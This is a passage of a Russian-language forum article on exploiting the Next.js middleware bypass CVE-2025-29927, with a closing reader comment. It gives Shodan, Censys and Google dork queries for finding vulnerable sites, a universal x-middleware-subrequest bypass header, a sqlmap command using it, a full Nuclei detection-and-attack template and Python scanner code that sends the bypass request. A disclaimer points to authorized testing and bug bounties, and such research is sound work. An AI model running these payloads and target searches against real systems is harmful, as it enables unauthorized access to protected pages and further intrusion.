При этом, сообщение не выведется из-за блокировки самим браузером. Лучше использовать “img onerror”. Хотя признаюсь, тестовое приложение и так пропустит этот тэг. Но мы же тут не про то, как сделать мощную фильтрацию, а наоборот. Главное, это увидеть работоспособность обхода функций, а дизайн логики тестового приложения это третьестепенное.

Обход CSP​

Content Security Policy может доставить серьезные неудобства пентестеру, блокируя возможности организовать интересную XSS-атаку. Но в приложениях Next.js, часто можно встретить ошибки в дизайне приложения. Многие разработчики хотят на выходе получить универсальный швейцарский нож, делая кучу элементов динамическими и размещая их в Middleware. Вот пример статьи, где предлагается организация динамического CSP с хранением в базе данных.

Посмотреть вложение 107275

Разбирать код смысла нет, так как мы в любом случае придем к одной итоговой точке - если версия Next.js уязвима, то мы без проблем обойдем эту проблему и реализуем подгрузку нашего скрипта из нашего источника.

Как видно, отключая миддл-функции, можно добиться очень интересных результатов. Веб-приложение в один миг может стать полностью беззащитным и готовым к любым проникновениям.

Как тестировать?​

Во-первых, конечно же, информация в статье не для использования с целью нарушения закона. Используйте знания для белого пентеста и багбаунти. Автор не несет ответственности, если кто-то решит встать на темную сторону. Вы либо работает с сайтом заказчика, либо по официальной баг-баунти программе. Если нашли потенциальный трагет, предварительно свяжитесь и договоритесь с владельцем о тестировании.

Поиск таргетов​

Начнем с поиска таргетов для белого тестирования? Самый простой вариант, это Google дорк “inurl:/_next/”. Да, будет куча мусора, нужно будет уточняться и подумать, но вполне рабочий вариант поискать веб-приложения на Next.js.

Можно пойти в Shodan с запросом типа http.html:"NEXT_DATA". Также можно поискать заголовки наподобие “x-nextjs-matched-path”. Чуть ниже мы познакомимся с тем, что это за заголовок и откуда берется, сейчас важно что по нему и другим заголовкам можно найти приложения на Next.js

Посмотреть вложение 107276

Остальные заголовки со скрина так же пмогут найти в Шодане большое количество целей: “x-middleware-rewrite”. “x-nextjs-cache”, “x-nextjs-prerender”, “x-nextjs-stale-time”, “X-Powered-By: Next.js”

Можно попробовать поискать в Censys. Например, так: services.http.response.body:"NEXT_DATA"

Еще неплохой вариант поиска в Censys, это установка куки NEXT_LOCALE, которая встречается в Next-приложениях. Причем, установка локали может намекать на наличие middleware отвечающего за этот процесс:

services.http.response.headers.set_cookie: "NEXT_LOCALE"

Посмотреть вложение 107277

Тестирование​

Хорошо, приложения нашли, дальше что? То что приложение написано на Nex.js не говорит об его уязвимости. Вполне может быть, что в целом миддлвары не жизнеспособные. Неплохо бы выполнить проверку.

Первым делом, конечно же, убедиться что у нас уязвимая версия Next.js. Для этого часто достаточно расширения Wappalyzer. Другой вариант, это

Можно просто просканировать сайт в поисках редиректов. Например, на форму авторизации, таким образом находя закрытые разделы. Но более точным методом будет использование служебного заголовка “x-nextjs-data”. Прямого упоминания в документации Next.js я не нашел. Насколько понимаю, используется для передачи служебных данных. Чтобы понять смысл использования, запустим первое тестовое приложение (то что с токеном авторизации) и выполним два запроса:

Посмотреть вложение 107278

Когда мы отправили заголовок “x-nextjs-data”, у нас появился новый заголовок “x-nextjs-matched-path”. Это один из возможных вариантов, так же могут встречаться вариации: “x-middleware-rewrite”, “x-middleware-next”, “x-middleware-redirect”. Вполне вероятно, что список на этом не заканчивается, но в целом направление куда смотреть понятно.

Эти заголовки нам явно указывают, что миддлвар живой и реализует какую-то логику. Значит мы можем попробовать нарушить её пробросив варианты “x-middleware-subrequest”. Как это можно сделать максимально эффективно? Для этого вспомним, как Next.js проверяет нужный нам заголовок - просто сплитит и ищет совпадения. Кроме того, явных стандартов на ограничение длины заголовка нет, но мне встречалась информация аж о 80 килобайтах в Next.js. 80кб это очень много, но даже 8кб не мало, а значит мы можем запихать в заголовок все возможные варианты, собрав универсальный заголовок. Например:

Код:
X-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware

Пять это стандартное значение MAX_RECURSION_DEPTH. Чтобы проверить этот факт, достаточно посмотреть код файла “./node_modules/next/dist/server/web/sandbox/sandbox.js“ чтобы найти объявление константы.

Для большинства версий Next.js будет достаточно этого универсального заголовка. В версиях ниже 12.2 нужно покреативить. Сначала собрать карту интересных маршрутов, после выстроить заголовок из них. Например, для пути /secret/admin можно попробовать такие варианты заголовков:

Код:
x-middleware-subrequest: pages/dashboard/panel/_middleware
Код:
x-middleware-subrequest: pages/dashboard/_middleware
Код:
x-middleware-subrequest: pages/_middleware

Но мы снова говорит про байпас только авторизации. Если мы говорим, например, про поиск SQL инъекции с обходом фильтров, можно попробовать запустить SQLMAP передав ему флаг

Bash:
sqlmap -u https://target.com -H ‘x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware’

Если вы уверены, что уязвимость есть, но она не пролазит, попробуйте по-добавлять служебные заголовки вроде “x-nextjs-data” и прочие. Вполне вероятно, что тогда Next.js сочтет запрос своим и отработает как надо.

Автоматизация тестирования​

Соберем все вышесказанное в программный код, чтобы были более менее полноценные инструменты для работы. Начнем с Nuclei. В сети есть готовые шаблоны, я не стал сильно заморачиваться и просто слегка переработал несколько из них, приведя к устраивающему меня варианту:

YAML:
id: CVE-2025-29927

info:
  name: Next.js Middleware Bypass Attack
  author: petrinh1988 and co
  severity: critical
  description: |
    A critical security vulnerability has been discovered in Next.js versions 11.1.4 through 15.2.2.
    This flaw enables adversaries to circumvent established middleware protections by transmitting
    a deliberately crafted x-middleware-subrequest header. Consequently, the system's security controls
    are rendered ineffective, thereby exposing the platform to the risk of unauthorized access
    and additional security breaches.
  reference:
    - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
    - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
  remediation: |
    Recommended Fix: Upgrade to a patched version of Next.js (14.2.25 / 15.2.3 or later)
    f immediate upgrading is not feasible, implement a rule in your WAF or
    server configuration to block all requests containing the x-middleware-subrequest header.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cwe-id: CWE-287
  metadata:
    verified: true
    vendor: vercel
    product: next.js
    framework: node.js
    max-request: 1
    shodan-query:
      - http.html:"/_next/static"
      - x-powered-by: next.js
      - x-nextjs-cache:
      - cpe:"cpe:2.3:a:zeit:next.js"  
      - x-middleware-rewrite
    fofa-query: x-middleware-rewrite
  tags: cve,cve2025,nextjs,middleware,auth-bypass

flow: |
  http(1)
  for(let endpoint_urls of iterate(template.endpoints)){
    set("endpoints", endpoint_urls)
    http(2) && http(3)
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: body
        words:
          - "_next/static"
        # internal: true

      - type: word
        part: header
        words:
          - "Next.js"
        # internal: true

    extractors:
      - type: regex
        name: endpoints
        part: body
        group: 1
        regex:
          - "href=['\"](\\/[^\\.\"']+)['\"]"
        # internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Nextjs-Data: 1

    matchers:
      - type: dsl
        dsl:
          - contains_any(to_lower(header), 'x-nextjs-matched-path', 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
          - contains_any(to_lower(location), 'unauthorized') && status_code != 200
        # internal: true

  - method: GET
    path:
      - "{{BaseURL}}{{endpoints}}"
    headers:
      X-Middleware-Subrequest: "{{nextjs_bypass}}"

    payloads:
      nextjs_bypass:
        - "middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"

    matchers:
      - type: dsl
        dsl:
          - status_code == 200

Измнений, по сравнению с существующими шаблонами не много, по сути добавил больше заголовков идентифецирующих потенциально интересные миддл-функции. Так же добавил заголовок X-Nextjs-Data, для повышения точности. Да сократил количество атакующих запросов, уместив стандартный набор значений заголовка в одну строчку.

Результат тестирования нашего проекта с постами:

Посмотреть вложение 107279

Ожидаемо, сканер нашел уязвимый путь.

Конвертируем скрипт в Python. Шаблон Nuclei хорошая штука, но скрипты на Python более гибкие. Например, если потребуется вместо передачи урла цели прикрутить загрузку списка доменов… да еще и с многопоточностью. В этой ситуации скрипт будет гораздо более полезным.

Принцип работы скрипта такой:
  1. Убедиться, что мы имеем дело с Nuclei
  2. Составить список потенциальных точек инъекции - рекурсивное сканирование с погружением на указанную глубину
  3. Тестовый запрос, чтобы убедиться что миддл-функции живы и могут быть полезны нам
  4. Атакующий запрос.

Полный код скрипта будет в приложенном файле. Скачайте, создайте виртуальную среду, установите beautifulsoup4. Запуск сканера осуществляется командой:

Bash:
python3 CVE-2025-29927.py http://localhost:3000

Глубина сканирования, по умолчанию, три уровня. Если нужно изменить, передайте в параметр –depth

Приведу в пример некоторые куски кода. В первую очередь, проверку веб-приложения на отношение к Next.js. Взял минимальный набор признаков, но мне кажется вполне достаточный чтобы с уверенностью говорить о “правильном” фреймворке.

Python:
is_nextjs = False
       if '__NEXT_DATA__' in response.text:
           is_nextjs = True
       if '_next/static' in response.text:
           is_nextjs = True
       if 'Next.js' in response.headers.get('x-powered-by', ''):
           is_nextjs = True

Парсинг потенциальных ендпоинтов для тестов происходит, как через работу с тэгами, так и через регулярное выражение. При необходимости, вариант расширяемый, можно добавить больше тэгов:
Python:
       endpoints = set()
     
       for tag in soup.find_all(['a']):
           attr = 'href'
           if attr in tag.attrs:
               url = tag[attr]
               if url.startswith('/') and not url.startswith('//') and not url.startswith('/.'):
                   endpoints.add(url)
     
       regex_matches = re.findall(r'href=[\'"](/[^\."\']+)[\'"]', response.text)
       endpoints.update(regex_matches)

Тестовый запрос выполняется, точно так как говорили, с указанием заголовка:

Python:
       response = session.get(url, headers={'X-Nextjs-Data': '1'})
     
       headers = {k.lower(): v for k, v in response.headers.items()}
       vulnerable = False
     
       if any(h in headers for h in ['x-nextjs-matched-path', 'x-middleware-rewrite',
                                   'x-middleware-next', 'x-middleware-redirect']):
           print(f"[+] Потенциально уязвимый endpoint обнаружен")
           vulnerable = True
     
       if 'location' in headers and 'unauthorized' in headers['location'].lower():
           if response.status_code != 200:
               print(f"[+] Потенциально уязвимый endpoint обнаружен (редирект на unauthorized)")
               vulnerable = True
     
       if not vulnerable:
           return False

В ответе мы ищем следы работы миддл-функции, либо сигнал о необходимости авторизоваться. Согласен, сомнительно и можно значительно расширить количество вариантов.

Ну и последнее, атакующий запрос:

Python:
       bypass_payloads = [
           "middleware:middleware:middleware:middleware:middleware:src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
       ]
     
       for payload in bypass_payloads:
           attack_response = session.get(url, headers={'X-Middleware-Subrequest': payload})
         
           if attack_response.status_code == 200:
               print(f"[+] Уязвимость подтверждена! Успешный bypass с payload: {payload}")
               print(f"    Статус код: {attack_response.status_code}")
               return True

Опять же, простая проверка по коду ответа не всегда дает 100% картинку. По хорошему, нужно сравнивать два ответа: ответ без обхода миддла и ответ с обходом. При наличии разницы, сообщать пользователю о необходимости присмотреться. Хотя, конечно же, если мы столкнемся с динамически генерируемым выводом, плакали все наши автоматические тесты.

Выводы​

Сложно писать вывод по этой теме. Во-первых, просто поражает то насколько простой, но при этом разрушительной может быть ошибка в коде крупного проекта. Next.js не какой-то пет-проект, а полноценный фреймворк, который скачивают 10 миллионов раз в неделю. Цифры просто колоссальные. При этом, такая нелепая ошибка в дизайне. Во-вторых, поражает тот масштаб проблем, которые способна породить эта простая уязвимость. Это не просто обход авторизации, это обход кучи всего.

В статье, я надеюсь, довольно неплохо рассмотрел уязвимость и вытекающие последствия. Рассказал о целом ряде интересных заголовков, Мы попробовали поработать с несколькими специально созданными проектами. Один накидали сами, один рассмотрели в теории.
Мне кажется, что статья исчерпывающая и не должна оставить каких-то вопросов, кроме обсуждения вариантов применения. А вы как считаете? Если в начале чтения было непонятно о чем речь и как работает, а в конце есть ощущение что все просто и легко, значит цель достигнута)

P.S.
В прикрепленном архиве лежат:
1. Уязвимое веб-приложение
2. Шаблон Nuclei
3. Скрипт Python
Это глоток свежего воздуха. Так держать. Отличная работа
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх